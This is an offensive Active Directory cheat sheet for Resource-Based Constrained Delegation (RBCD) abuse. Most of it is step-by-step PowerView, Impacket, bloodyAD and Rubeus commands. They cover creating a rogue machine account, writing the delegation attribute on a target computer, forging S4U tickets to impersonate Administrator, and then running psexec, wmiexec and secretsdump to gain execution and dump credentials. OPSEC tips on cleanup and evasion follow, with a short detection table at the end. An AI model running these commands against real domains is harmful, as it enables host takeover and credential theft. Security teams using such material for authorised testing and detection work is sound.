--- title: "Attack #17 β€” Resource-Based Constrained Delegation (RBCD)" description: "Resource-Based Constrained Delegation (RBCD) flips traditional Constrained Delegation on its head. Instead of the delegating account specifying which…" category: active-directory subcategory: "Kerberos & Delegation" tags: ["active-directory", "delegation"] tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "ldapsearch"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #17 β€” Resource-Based Constrained Delegation (RBCD).md" --- # 🟠 Attack #17 β€” Resource-Based Constrained Delegation (RBCD) *** ## πŸ“– How It Works Resource-Based Constrained Delegation (RBCD) flips traditional Constrained Delegation on its head. Instead of the **delegating account** specifying which services it can delegate to (via `msDS-AllowedToDelegateTo`), the **target resource** specifies which accounts are allowed to delegate to it (via `msDS-AllowedToActOnBehalfOfOtherIdentity`). This means anyone who can **write to a computer object's attributes** can configure RBCD on it β€” allowing a controlled account to impersonate any user to that computer. ### Why RBCD is So Dangerous 1. **No Domain Admin required to configure** β€” only GenericWrite/GenericAll on the target computer 2. **MachineAccountQuota** allows any domain user to create up to 10 computer accounts by default 3. **Combining write permissions + machine account creation = full compromise of the target host** ### The Full Attack Flow ``` 1. Identify a computer object where you have write permissions (GenericWrite/GenericAll) 2. Create a machine account you control (or use an existing one) 3. Set msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET computer to trust your machine account 4. Use S4U2Self + S4U2Proxy from your machine account to impersonate Administrator to the target computer 5. Access the target as Administrator (CIFS, HOST, LDAP, etc.) ``` *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Write permissions on target computer** | GenericWrite, GenericAll, WriteDACL, or specific write to `msDS-AllowedToActOnBehalfOfOtherIdentity` | | **Controlled machine account** | Create via MachineAccountQuota (default 10) or use existing compromised computer | | **Domain user account** | To create machine account and configure RBCD | *** ## πŸ› οΈ Tools | Tool | Platform | Notes | |---|---|---| | **Impacket β€” rbcd.py** | Linux | Configure RBCD delegation | | **Impacket β€” addcomputer.py** | Linux | Create machine accounts | | **Impacket β€” getST.py** | Linux | S4U2Self + S4U2Proxy exploitation | | **Rubeus** | Windows | S4U attack after RBCD configuration | | **PowerView** | Windows | Write RBCD attribute on target | | **StandIn** | Windows | .NET tool for RBCD manipulation | | **bloodyAD** | Linux | All-in-one RBCD exploitation | *** ## πŸ’» Full Commands ### πŸ”΅ Step 1 β€” Find Writable Computer Objects ```powershell # ── PowerView β€” find computers where you have write access ──────────────────── Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL" -and $_.ObjectClass -eq "computer" } # ── BloodHound Cypher query ─────────────────────────────────────────────────── # MATCH p=(u:User {name:'LOW_USER@CORP.LOCAL'})-[r:GenericWrite|GenericAll]->(c:Computer) RETURN p ``` ```bash # ── BloodHound.py β€” collect and analyze ─────────────────────────────────────── bloodhound-python -u low_user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zip # Upload to BloodHound β†’ "Find Shortest Paths to Domain Admins" ``` ### πŸ”΄ Step 2 β€” Create Machine Account ```bash # ── Impacket β€” create machine account ───────────────────────────────────────── addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' # ── Check MachineAccountQuota (default = 10) ────────────────────────────────── nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq # Or: ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \ -b "DC=corp,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota ``` ```powershell # ── PowerShell β€” create machine account ─────────────────────────────────────── Import-Module .\\Powermad.ps1 New-MachineAccount -MachineAccount FAKEMACHINE -Password $( ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force ) ``` ### πŸ”΄ Step 3 β€” Configure RBCD on Target ```bash # ── Impacket β€” rbcd.py ──────────────────────────────────────────────────────── rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET$' \ -action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1' # ── Verify ──────────────────────────────────────────────────────────────────── rbcd.py -delegate-to 'TARGET$' -action read \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' # ── bloodyAD ────────────────────────────────────────────────────────────────── bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ add rbcd 'TARGET$' 'FAKEMACHINE$' ``` ```powershell # ── PowerShell / PowerView ──────────────────────────────────────────────────── $ComputerSid = Get-DomainComputer FAKEMACHINE -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Set-DomainObject -Identity TARGET$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} # ── StandIn ─────────────────────────────────────────────────────────────────── .\StandIn.exe --computer TARGET --sid ``` ### πŸ”΄ Step 4 β€” S4U Attack β†’ Impersonate Administrator ```bash # ── getST.py β€” S4U2Self + S4U2Proxy ────────────────────────────────────────── getST.py -spn cifs/TARGET.corp.local \ -impersonate Administrator \ -dc-ip 10.10.10.10 \ corp.local/'FAKEMACHINE$':'FakePass123!' # ── Use the ticket ──────────────────────────────────────────────────────────── export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local wmiexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local secretsdump.py -k -no-pass corp.local/Administrator@TARGET.corp.local smbclient.py -k -no-pass corp.local/Administrator@TARGET.corp.local ``` ```powershell # ── Rubeus S4U ──────────────────────────────────────────────────────────────── # First get FAKEMACHINE's hash: .\Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local # rc4_hmac: .\Rubeus.exe s4u \ /user:FAKEMACHINE$ \ /rc4: \ /impersonateuser:Administrator \ /msdsspn:cifs/TARGET.corp.local \ /ptt dir \\TARGET.corp.local\C$ ``` ### πŸ”΄ Step 5 β€” Cleanup ```bash # ── Remove RBCD configuration ──────────────────────────────────────────────── rbcd.py -delegate-to 'TARGET$' -action flush \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' # ── Delete machine account (if desired) ─────────────────────────────────────── addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' -delete ``` *** ## 🎯 OPSEC Tips - **RBCD is the most commonly exploited delegation type** β€” no DA required, just GenericWrite on a computer - **MachineAccountQuota = 10 by default** β€” almost always available for machine account creation - **Cleanup is critical** β€” remove the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute and delete the machine account after exploitation - **Protected Users group blocks delegation** β€” if Administrator is in Protected Users, impersonation will fail; target a different DA *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **5136** | Security Log (DC) | Modification of `msDS-AllowedToActOnBehalfOfOtherIdentity` | | **4741** | Security Log (DC) | Computer account creation (MachineAccountQuota abuse) | | **4769** | Security Log (DC) | S4U2Proxy TGS request | | **4624** | Security Log | Network logon as impersonated user on target | *** ## πŸ”— Attack Chain Context ``` [RBCD] ──→ Compromise Any Computer You Can Write To β”‚ β”œβ”€β”€β†’ πŸ”‘ GenericWrite on Computer β†’ RBCD β†’ impersonate DA β†’ own that host β”œβ”€β”€β†’ πŸ’» GenericAll (#19) β†’ RBCD is one of the exploitation methods β”œβ”€β”€β†’ 🏭 MAQ (#47) β†’ create controlled machine accounts for RBCD β”œβ”€β”€β†’ πŸ”— Chain: ACL abuse β†’ RBCD β†’ DCSync (if target is DC) └──→ πŸ’€ Defeated by: set MAQ=0, monitor 5136, Protected Users group ``` *** > βœ… **Attack #17 β€” RBCD complete.**